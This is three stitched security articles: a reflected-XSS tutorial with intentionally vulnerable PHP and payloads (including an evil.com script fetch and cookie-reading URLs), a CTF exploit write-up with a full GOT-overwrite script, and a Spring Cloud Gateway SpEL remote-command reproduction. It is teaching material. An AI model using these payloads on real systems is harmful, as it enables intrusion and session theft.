## 一、什么是跨站脚本漏洞 跨站脚本漏洞(Cross Site Scripting,常简写作XSS)是Web应用程序在将数据输出到网页的时候存在问题,导致攻击者可以将构造的恶意数据显示在页面的漏洞。跟大多数Web 漏洞一样,此类漏洞的产生的原因也是没有处理好用户的输入。根据类型的不同,可以分为反射型 XSS,存储型 XSS,DOM 型 XSS,这篇先来讲讲反射型 XSS。 跨站脚本攻击注入的恶意代码运行在浏览器中,所以对用户的危害是巨大的——也需要看特定的场景:跨站脚本漏洞存在于一个无人访问的小站几乎毫无价值,但对于拥有大量用户的站点来说却是致命的。最典型的场景是,黑客可以利用跨站脚本漏洞盗取用户Cookie而得到用户在该站点的身份权限。它会造成的影响绝不仅仅是弹个框这么简单,在漏洞验证中安全测试人员倾向于弹框以证明可以执行 js 表明存在漏洞,只是因为这种行为是无害的,是 poc 而非 exp。 ## 二、常见的缺陷代码 1. 什么都没过滤,直接输出到html ``` php <?php if (! isset($_GET['name'])) { header('Location: index.php?name=world'); exit(); } $name = $_GET['name']; echo "Hello $name"; ?> ``` 触发:firefox `http://localhost/test/reflection_xss/xss_simple_html.php?name=%3cscript%3Ealert(11)%3C/script%3E` 修复:在html标签中输出(使用htmlEncode) 2. 过滤script、alert关键字 ``` php <?php if (! isset($_GET['name'])) { header('Location: index.php?name=world'); exit(); } $name = $_GET["name"]; if (preg_match('/script|alert/i', $name)) { die("no script enable!"); } echo $name; ?> ``` 触发:firefox `http://localhost/test/reflection_xss/xss_remove_script.php?name=%3Cimg%20src=0%20onerror=prompt(1)%3E` 修复:在html标签中输出(使用htmlEncode) 3. 输出到js,默认只编码双引号 ``` php <?php if (! isset($_GET['name'])) { header('Location: index.php?name=world'); exit(); } $name= $_GET["name"]; ?> <script> var a= '<?php echo htmlentities($name); ?>'; </script> ``` 触发:firefox `http://localhost/test/reflection_xss/xss_script_singlequote.php?name=aa%27;alert(11);//` 修复:在script标签中输出(使用javascriptEncode) 4. 输出到 js,未做任何过滤 ``` php <?php if (! isset($_GET['name'])) { header('Location: index.php?name=world'); exit(); } $name = $_GET["name"]; ?> <script> var $a= "<?php echo $name; ?>"; </script> ``` 触发:firefox `http://localhost/test/reflection_xss/xss_script_doublequote.php?name=aa%22;alert(1);//` 场景: ``` javascript var s1mba="http://ke.qq.com/cgi-bin/courseDetail?course_id=109431"+alert(903606738); var pg_CartoonDetail = new BIU.Page({ name: 'pg_CartoonDetail', ..., current: '123'-alert(1)-'', ...}); ``` 修复:在script标签中输出(使用javascriptEncode) 5. 输出到js,`\` 转义,返回charset 是 gbk ``` php <?php $var = str_replace('"', '\\"', $_GET['var']); # addslashes ?> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> <script> var b = "<?php echo $var;?>"; </script> </head> </html> ``` 触发: firefox 页面编码设置为gbk `http://localhost/test/reflection_xss/xss_script_gbk.php?var=aa%ae%22;alert(11);//` 修复:在script标签中输出(使用javascriptEncode),但此处不要用`\` 转义的方式,可以用unicode等方式 6. jsoncallback 接口,返回没有过滤,且content-type 为 text/html ``` php <?php if (isset($_GET['q'])) { $q = $_GET['q']; $arr = array( 'a'=>'b', 'c'=>'d', ); echo $q."({".json_encode($arr)."})"; }else{ header("location:?q=test"); } ?> ``` 触发: firefox `http://localhost/test/reflection_xss/xss_in_jsoncallback.php?q=%3Cscript%3Ealert(11)%3C/script%3E` 修复:对于传入的callback参数,使用 htmlspecialchars 编码,或者把返回content-type 定为 `application/json`,注意 `text/plain` 在某些浏览器上不可靠,同时添加X-Content-Type-Options: nosniff头 注意:添加X-Content-Type-Options: nosniff头前,请确认站点下所有接口已设置了与内容相符的Content-type 7. 输出到标签属性,没有过滤单引号(双引号,没有引号同理) ``` php <?php if (isset($_GET['q'])) { $q = $_GET['q']; $q = preg_replace('/[\<\>]/i', '', $q); echo "<input type='text' value='".$q."'>"; }else{ header("location:?q=test"); } ?> ``` 触发:firefox `http://localhost/test/reflection_xss/xss_in_htmlattr_singlequote.php?q=aa%27%20onmouseover=prompt(111)%20bad=%27` 修复: 这里过滤了< >,但我们还是可以闭合属性引号进而重设一个属性,故需要 htmlspecialchars 编码下 8. 输出到html 事件中,有多种过滤情形 ``` php <?php if (! isset($_GET['a'])) { header('Location: index.php?a=world'); exit(); } ?> <html> <?php $a = htmlspecialchars($_GET['a'], ENT_QUOTES); $b = str_replace("'","\\x27",$_GET['b']); $b = str_replace('"','\\x22',$b); //$b = str_replace("'","&apos;",$_GET['b']); $c = htmlspecialchars($_GET['c']); $d = htmlspecialchars($_GET['d'], ENT_QUOTES); //$e = htmlspecialchars($_GET['e']); ?> <body> <input id="a" type="text" value="please input" onfocus="if(value == 'please input'){value='<?php echo $a;?>'}"/> <input id="b" type="text" value="please input" onfocus="if(value == 'please input'){value='<?php echo $b;?>'}"/> <input id="c" type="text" value="please input" onfocus="if(value == 'please input'){value='<?php echo $c;?>'}"/> <input id="d" type="text" value="please input" onfocus="if(value == 'please input'){var a=<?php echo $d;?>;value=a;}"/> <!-- <input id="e" type="text" value="please input" onfocus='if(value == "please input"){value="<?php echo $e;?>"}'/> --> </body> </html> ``` 触发:firefox `http://localhost/test/reflection_xss/xss_in_html_event.php?a=%27;alert(11);}//` `http://localhost/test/reflection_xss/xss_in_html_event.php?a=aaa&b=%26%2339;;alert(11);}//` `http://localhost/test/reflection_xss/xss_in_html_event.php?a=aaa&b=bbb&c=%27;alert(111);}//` `http://localhost/test/reflection_xss/xss_in_html_event.php?a=aaa&b=bbb&c=ccc&d=123;%0D%0Aalert()` 修复:参数出现的地方浏览器会先进行 htmldecode,再进行jsdecode。如前所述,这里进行jsencode 即可,但不能用`\`转义的方式,可以是 unicode 或者 `\xXX` 方式, 假设用户输入 `'`,则编码为 `\u0027`,不会触发;假设用户输入 `&#39;`,则编码为`\u0026\u0023\u0033\u0039\u003b`,不会触发。 9. urldecode, htmldecode, base64decode ``` php <?php if (! isset($_GET['end'])) { exit(); } ?> <?php $start = urldecode($_GET['start']); $end = htmlspecialchars_decode($_GET['end']); #$end = $_GET['end']; $b4 = htmlspecialchars($_GET['b4'], ENT_QUOTES); ?> <html><head> <!-- <meta http-equiv="Content-Type" content="text/html; charset=GBK"> --> </head> <body> <p>aaaaaaa</p> <?php echo "ccccc".$start; ?> <?php echo "bbbbb".$end; ?> <?php echo base64_decode($b4); ?> </body> </html> ``` 触发:firefox `http://localhost/test/reflection_xss/xss_htmlurlb4_decode.php?start=%253Cscript%253Ealert%252811%2529%253C%252fscript%253E&end=abds&b4` `http://localhost/test/reflection_xss/xss_htmlurlb4_decode.php?start=aa&end=%26lt%3Bscript%26gt%3Balert%2811%29%26lt%3B%2fscript%26gt%3B&b4` `http://localhost/test/reflection_xss/xss_htmlurlb4_decode.php?start=aa&end=bb&b4=PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=` 修复:这个例子是跟具体业务比较相关的,比如无论是哪种 decode 操作后,经过中间流程的操作,输出到页面时都需要进行 htmlencode 10. 输出在标签的href 属性中 ``` php <?php if (! isset($_GET['name'])) { header('Location: index.php?name='); exit(); } $name = $_GET["name"]; ?> <a href="<?php echo htmlspecialchars($name,ENT_QUOTES) ?>">button</a> ``` 触发: firefox `http://localhost/test/reflection_xss/xss_in_htmlattr_href_1.php?name=javascript:alert(1)` 修复:一般来说,如果变量是完整的url,应该先检查下是否以^http开头,且目的域名是允许的域名列表内,以保证不会出现伪协议类的XSS攻击。接着使用 htmlspecialchars 编码下;或者因为此处是地址栏,可以用 urlencode 编码变量。这里的payload 变形可以有很多,故检查的正则需要很严格,payload 列举如下, ``` javascript:alert(document.cookie).qq.com javaScript://www.qq.com/%0aalert(document.cookie) javascript:alert(1)-html javascript:alert(1)//.qq.com ``` 如果以上 payload 出现在 src/href/on*/ 等属性内,则必须出现在属性值的开头才能触发。 11. utf-7 xss UTF-7 (7-位元 Unicode 转换格式) 是一种可变长度字元编码方式,用以将 Unicode 字元以 ASCII 编码的字元串来呈现,可以应用在电子邮件传输之类的应用。举个例子:`<script>alert(document.cookie)</script>` 编码后就成了 `+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-`。 当<meta>标签没有指定明确的charset,而且返回内容的头几个字符是`+/v8`(utf7 bom)时,浏览器将以utf-7编码解析,从而形成XSS。 ![xss1](../pictures/xss1.jpg) 12. ie mime sniffer导致xss IE有一个特性,那就是在将一个文件展示给用户之前会首先检查文件的类型,也就是MIME sniffing 功能。引入MIME sniffing功能的初衷是用来弥补Web服务器响应一个请求时有可能返回错误的内容类型信息这一缺陷。但是这个点可以被攻击者利用导致一些安全漏洞。这个问题可以和问题6 结合起来理解。 当直接访问 `https://aaa.bbb.weixin.qq.com/oauth2/access_token?grant_type=client_credential&client_id=11111111111'<script>alert(0)<script>&client_secret=APPSECRETabout:cehome` 因为content-type被设置为application/json会提示下载,但是当访问 `https://aaa.bbb.weixin.qq.com/oauth2/access_token;.html?grant_type=client_credential&client_id=11111111111'<script>alert(0)</script>&client_secret=APPSECRETabout:cehome` 时因为后面加了`;.html`,ie以MIME sniffing功能把返回的内容当html解析导致xss。 ![xss2](../pictures/xss2.jpg) 13. 浏览器特性导致标签闭合 ``` php <?php if (! isset($_GET['name'])) { header('Location: index.php?name=world'); exit(); } $name = $_GET['name']; $name = preg_replace("/<.*>/", "", $name); echo "<div> hello $name</div>"; ?> ``` 当输入完整标签时会被过滤掉,但访问 `http://localhost/test/reflection_xss/xss_browser_tag.php?name=%3Cimg%20sRc=%27aa%27%20onError=alert(11111)%20c=/` 返回内容为 `<div> hello <img sRc='aa' onError=alert(11111) c=/</div>`,浏览器会把 div 的结束标签当作 img 的结束标签,导致onerror 触发。 14. 业务特性 case 1). 直接在 Url 后面拼接 &simbatestget**payload**,因为没加等号,业务不会把这段当作keyvalue 来处理,可能直接拼接在某个变量后面,导致xss。 ``` php <?php if (! isset($_GET['name'])) { header('Location: index.php?name=world'); exit(); } $query_string = ""; foreach ($_GET as $varname => $varvalue) { if ($query_string != '') { $query_string .= "&"; } $query_string .= $varname . "=" . htmlspecialchars($varvalue, ENT_QUOTES); } ?> <script> var aa = "<?php echo $query_string?>"; </script> ``` 触发:`http://localhost/test/reflection_xss/xss_script_encode_value.php?name=test&TESTSIMBA%22%3Balert(902237484)%3B%2F%2Ftst` 修复:直接对需要输出的整串参数做javascriptEncode。 2). 当原来请求是get 时,将 payload 接在get 参数后面,但使用 post 方式去请求(随便添加一个post参数如 simbatestpost=3),有些业务对 post请求直接没有防御,导致xss。 ``` php <?php $name = $_REQUEST["name"]; ?> <script> var aa = "<?php if ($_SERVER['REQUEST_METHOD'] == 'POST') echo $name; else echo htmlspecialchars($name, ENT_QUOTES);?>"; </script> ``` 触发:POST `http://localhost/test/reflection_xss/xss_script_nodefense_post.php?name=test%22%3Balert(906539215)%3B%2F%2Ftst` body:simbatestxsspost=3 修复:无论什么样的请求方式, 都需要做javascriptEncode 后输出。 ## 三、测试tips分享 1. 测试时不止要测试正常的 < > " 是否编码转义,也要测试 &#38;quot; &#38;gt; &#38;lt; 之类是否会被反转回来,可以 console 观察下是否引起浏览器脚本执行错误。测试是否可以利用页面引入的 jQuery 来进行 xss 利用如 ";$.getScript &#96;http://evil.com/test.js` ;// 2. 测试是否根据关键字来过滤,在使用一些正则过滤特征字符串时,往往会指定匹配的递归次数,在满足长度条件的情况下,我们可以提交重复 n 次的 poc,以绕过过滤逻辑。 3. 测试特殊字符 宽字节:html charset=gbk 类型下,插入 `%c0%22`,如果业务插入 `\` 成为 `%c0\"`, 这样导致 `%c0\` 成为一个乱码字符,从而闭合引号。 换行符(相当于空格):如果输入会在业务代码的注释里,可以插入 `bbbb%oaalert(1);//` 这样会另起一行,成功执行弹框。 反斜杠:插入反斜杠导致业务代码引号闭合失败,而且还有 js 续行的作用。 综合案例: ![xss_1](../pictures/xss_1.png) 业务代码会把输入的 `\` 转换成 `\\`,对于`var searchOrder` 那一行来说, 我们输入 `aaaa%c0\%0a` 变成 `aaaa%c0\\%0a`,由于 charset 是 gbk,那么 `%c0\` 是一个乱码字符,而 剩下的一个 `\` 起了续行作用,那么 `var searchOrder` 引号内的就被当作一个完整字符串,而不会引起语法错误,这样 就能执行注释被换行后的代码。 4. 如果站点布有waf,或许有负载均衡问题,同时发多个包,可能存在放过的情形。 5. 从自动化检测角度来看,可以在参数中带入payload,然后检测页面中特定标签特定属性内是否含匹配的未编码字符,比如 `<script>aaa</script>` or `<a href=bbb onmouseover=ccc>`,获取 script tag 的内容 or 获取 a tag href/onmouserover attr 的 内容是否match/equal。去误报逻辑:且从文本开头到匹配字段中的字符中单双引号都是成双出现,左括号括号数量比右括号数据多。 ## Reference [XSS Filter Evasion Cheat Sheet](https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet)
sec-knowleage
# sum PWN ## Description: > Sum it up! An executable and libc-2.27.so were attached. ## Solution: Let's see what the program does: ``` root@kali:/media/sf_CTFs/35c3ctf/sum# ./sum --------------------- Simple Sum Calculator --------------------- How many values to you want to sum up? > 3 Allocated space for 3 values Enter the values you want to sum up. You can perform the following operations: [1] set <x> <d> Set the x-th value to d [2] get <x> Read the x-th value [3] sum Calculate the sum of all values and leave the program [4] bye Leave the program Enter the command you want to execute. [1] set <x> <d> [2] get <x> [3] sum [4] bye ``` After playing around with the program a bit, I tried to allocate -1 values and got the following result: ``` root@kali:/media/sf_CTFs/35c3ctf/sum# ./sum --------------------- Simple Sum Calculator --------------------- How many values to you want to sum up? > -1 Allocated space for 18446744073709551615 values Enter the values you want to sum up. You can perform the following operations: [1] set <x> <d> Set the x-th value to d [2] get <x> Read the x-th value [3] sum Calculate the sum of all values and leave the program [4] bye Leave the program Enter the command you want to execute. [1] set <x> <d> [2] get <x> [3] sum [4] bye > set 0 7 Segmentation fault ``` To understand why, let's take a look at the assembly: ```assembly | 0x00400920 488d35990300. lea rsi, str.How_many_values_to_you_want_to_sum_up ; 0x400cc0 ; "How many values to you want to sum up?\n> " | 0x00400927 bf01000000 mov edi, 1 | 0x0040092c b800000000 mov eax, 0 | 0x00400931 e85afeffff call sym.imp.__printf_chk | 0x00400936 4889e3 mov rbx, rsp | ,=< 0x00400939 eb20 jmp 0x40095b | .--> 0x0040093b 488d351e0300. lea rsi, str.Try_again ; 0x400c60 ; "Try again\n> " | :| 0x00400942 bf01000000 mov edi, 1 | :| 0x00400947 b800000000 mov eax, 0 | :| 0x0040094c e83ffeffff call sym.imp.__printf_chk | :| 0x00400951 b800000000 mov eax, 0 | :| 0x00400956 e85cffffff call sym.flush_line | :| ; CODE XREF from sym.calculator (0x400939) | :`-> 0x0040095b 4889de mov rsi, rbx | : 0x0040095e 488d3d2c0300. lea rdi, [0x00400c91] ; "%zu" | : 0x00400965 b800000000 mov eax, 0 | : 0x0040096a e841feffff call sym.imp.__isoc99_scanf ; int scanf(const char *format) | : 0x0040096f 83f801 cmp eax, 1 ; 1 | `==< 0x00400972 75c7 jne 0x40093b | 0x00400974 b800000000 mov eax, 0 | 0x00400979 e839ffffff call sym.flush_line | 0x0040097e 488b1c24 mov rbx, qword [rsp] | 0x00400982 be08000000 mov esi, 8 | 0x00400987 4889df mov rdi, rbx | 0x0040098a e8d1fdffff call sym.imp.calloc ; void *calloc(size_t nmeb, size_t size) | 0x0040098f 4989c4 mov r12, rax | 0x00400992 4889da mov rdx, rbx | 0x00400995 488d35540300. lea rsi, str.Allocated_space_for__zu_values ; 0x400cf0 ; "Allocated space for %zu values\n" ``` The program calls `calloc` to allocate memory of size `rbx` (received from the user), but doesn't check that the return value isn't NULL. `r12` saves the base address of the allocated memory (or just 0 in our case), and future access to index #x is done by: ```assembly .-----------------------------------. | 0x400aaf [gw] | | ; [0x18:8]=-1 | | ; 24 | | mov rax, qword [input_index] | | cmp rax, qword [rsp] | | jae 0x4009da;[gl] | `-----------------------------------' t f | | | | | | | | | | | | | | | | | | | | | | | | | | .------' | .--------------------------------------------------' | | .-------------------------------------. .-----------------------------------------. | 0x400abe [gx] | | 0x4009da [gl] | | ; [0x20:8]=-1 | | ; 0x400c79 | | ; 32 | | ; "Index out of bounds" | | mov rdx, qword [input_value] | | lea rdi, str.Index_out_of_bounds | | mov qword [r12 + rax*8], rdx | | ; int puts(const char *s) | | jmp 0x400a54;[gj] | | call sym.imp.puts;[ga] | `-------------------------------------' | jmp 0x400a54;[gj] | v `-----------------------------------------' ``` The key instruction here is: ```assembly mov qword [r12 + rax*8], rdx ``` Since we control `rax` and `r12` is 0, we can basically write to any location in memory as long as it is a multiple of 8. And since the `get` logic is similar, we can also read any such address: ```assembly .------------------------------------. | 0x400ad4 [gz] | | mov rdx, qword [r12 + rax*8] | | ; "%ld\n" | | lea rsi, [0x00400ca5] | | mov edi, 1 | | mov eax, 0 | | call sym.imp.__printf_chk;[gc] | | jmp 0x400a54;[gj] | `------------------------------------' ``` What should we read? We can use this vulnerability to try and leak a GOT entry, and calculate the LibC base address. For example, the address of `puts`, which is at 0x00602028: ``` [0x004008d6]> ir [Relocations] vaddr=0x00601ff0 paddr=0x00001ff0 type=SET_64 __libc_start_main vaddr=0x00601ff8 paddr=0x00001ff8 type=SET_64 __gmon_start__ vaddr=0x00602080 paddr=0x00602080 type=SET_64 vaddr=0x00602090 paddr=0x00602090 type=SET_64 vaddr=0x00602018 paddr=0x00002018 type=SET_64 free vaddr=0x00602020 paddr=0x00002020 type=SET_64 putchar vaddr=0x00602028 paddr=0x00002028 type=SET_64 puts vaddr=0x00602030 paddr=0x00002030 type=SET_64 __stack_chk_fail vaddr=0x00602038 paddr=0x00002038 type=SET_64 calloc vaddr=0x00602040 paddr=0x00002040 type=SET_64 _IO_getc vaddr=0x00602048 paddr=0x00002048 type=SET_64 __isoc99_sscanf vaddr=0x00602050 paddr=0x00002050 type=SET_64 __printf_chk vaddr=0x00602058 paddr=0x00002058 type=SET_64 setvbuf vaddr=0x00602060 paddr=0x00002060 type=SET_64 __isoc99_scanf vaddr=0x00602068 paddr=0x00002068 type=SET_64 getline ``` Once we have the runtime address of `puts`, we subtract from it the fixed address of `puts` in the LibC binary we have, and get the runtime base address of LibC. Then, we can calculate the runtime address of any LibC function (e.g. `system`) and replace some other GOT entry with our chosen address. When the program calls the original function, our function will be called instead. Our victim will be `free`, since: 1. It is located at 0x00602018 - an address which we can access 2. It hold a pointer to the buffer which contains the command we enter - and therefore control 3. We can control when it is called (when we quit the program - in order to cleanup resources) ```assembly .-----------------------------------. | 0x400b3c [gr] | | ; [0x8:8]=-1 | | ; 8 | | mov rdi, qword [line_ptr] | | ; void free(void *ptr) | | call sym.imp.free;[gAe] | | ; [0x28:8]=-1 | | ; '(' | | ; 40 | | mov rax, qword [local_28h] | | xor rax, qword fs:[0x28] | | jne 0x400b6a;[gAf] | `-----------------------------------' ``` So, our plan (after calculating the LibC base address) is: 1. Replace `free` with `system` 2. Enter a command of `bye; cat flag.txt` 3. The program will quit, attempt to free the command buffer and end up calling `system` with `bye; cat flag.txt`, which will eventually print the flag. Putting it all together: ```python from pwn import * import argparse import os import string #context.log_level = "debug" LOCAL_PATH = "./sum" def get_process(is_remote = False): if is_remote: return remote("35.207.132.47", 22226) else: return process(LOCAL_PATH) def get_libc_path(is_remote = False): if is_remote: return "./libc-2.27.so" else: return "/lib/x86_64-linux-gnu/libc.so.6" def read_menu(proc): proc.recvuntil("\n> ") def set_addr(proc, addr, value): log.info("Setting address {} to value {}".format(hex(addr), hex(value))) assert(addr % 8 == 0) set_cmd(proc, addr / 8, value) def get_addr(proc, addr): log.info("Getting value of address {}".format(hex(addr))) assert(addr % 8 == 0) return int(get_cmd(proc, addr / 8)) def set_cmd(proc, index, value): log.info("Setting index {} to value {}".format(index, value)) read_menu(proc) proc.sendline("set {} {}".format(index, value)) def get_cmd(proc, index): read_menu(proc) proc.sendline("get {}".format(index)) out = proc.readline(keepends = False) log.info("Index {} has value {} ({})".format(index, out, hex(int(out)))) return out def bye_cmd(proc): read_menu(proc) proc.sendline("bye") parser = argparse.ArgumentParser() parser.add_argument("-r", "--remote", help="Execute on remote server", action="store_true") args = parser.parse_args() e = ELF(LOCAL_PATH) libc = ELF(get_libc_path(args.remote)) context.binary = e.path p = get_process(args.remote) p.sendlineafter("How many values to you want to sum up?\n> ", "-1") log.info("puts() - GOT: {}, PLT: {}".format(hex(e.got["puts"]), hex(e.plt["puts"]))) puts_addr = get_addr(p, e.got["puts"]) log.info("Runtime address of puts(): {}".format(hex(puts_addr))) libc_base = puts_addr - libc.symbols['puts'] log.info("LibC Base: {}".format(hex(libc_base))) libc.address = libc_base log.info("free() GOT: {}".format(hex(e.got["free"]))) log.info("system() runtime address: {}".format(hex(libc.symbols["system"]))) set_addr(p, e.got["free"], libc.symbols["system"]) read_menu(p) payload = "bye; cat flag.txt" log.info("Sending payload: {}".format(payload)) p.sendline(payload) print p.recvall() ``` The output: ```console root@kali:/media/sf_CTFs/35c3ctf/sum# python exploit.py -r [*] '/media/sf_CTFs/35c3ctf/sum/sum' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) FORTIFY: Enabled [*] '/media/sf_CTFs/35c3ctf/sum/libc-2.27.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to 35.207.132.47 on port 22226: Done [*] puts() - GOT: 0x602028, PLT: 0x400740 [*] Getting value of address 0x602028 [*] Index 787461 has value 140311052597696 (0x7f9cb672b9c0) [*] Runtime address of puts(): 0x7f9cb672b9c0 [*] LibC Base: 0x7f9cb66ab000 [*] free() GOT: 0x602018 [*] system() runtime address: 0x7f9cb66fa440 [*] Setting address 0x602018 to value 0x7f9cb66fa440 [*] Setting index 787459 to value 140311052395584 [*] Sending payload: bye; cat flag.txt [+] Receiving all data: Done (68B) [*] Closed connection to 35.207.132.47 port 22226 sh: 1: bye: not found 35C3_346adfac5fdfa6b65e103de62310bcf2d7606729 ``` The flag: 35C3_346adfac5fdfa6b65e103de62310bcf2d7606729
sec-knowleage
# Spring Cloud Gateway Server 未授权访问漏洞 ## 漏洞描述 Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。 ## 环境搭建 执行如下命令启动一个使用了Spring Cloud Gateway 3.1.0的Web服务: ``` docker-compose up -d ``` 服务启动后,访问`http://your-ip:8080`即可看到演示页面,这个页面的上游就是example.com。 ![image-20220519211640099](../../.gitbook/assets/image-20220519211640099.png) ## 漏洞复现 利用这个漏洞需要分多步。 首先,发送如下数据包即可添加一个包含恶意SpEL表达式的路由: ``` POST /actuator/gateway/routes/hacktest HTTP/1.1 Host: 192.168.0.5:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 329 { "id": "hacktest", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}" } }], "uri": "http://example.com" } ``` ![image-20220519211737396](../../.gitbook/assets/image-20220519211737396.png) 然后,发送如下数据包应用刚添加的路由。这个数据包将触发SpEL表达式的执行: ``` POST /actuator/gateway/refresh HTTP/1.1 Host: 192.168.0.5:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Connection: close Upgrade-Insecure-Requests: 1 ``` ![image-20220519212128250](../../.gitbook/assets/image-20220519212128250.png) 发送如下数据包即可查看执行结果: ![image-20220519212220678](../../.gitbook/assets/image-20220519212220678.png) 最后,发送如下数据包清理现场,删除所添加的路由: ``` DELETE /actuator/gateway/routes/hacktest HTTP/1.1 Host: 192.168.0.5:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Connection: close Upgrade-Insecure-Requests: 1 ``` ![image-20220519212306237](../../.gitbook/assets/image-20220519212306237.png) 再刷新下路由: ![image-20230129215916063](../../.gitbook/assets/image-20230129215916063.png)
sec-knowleage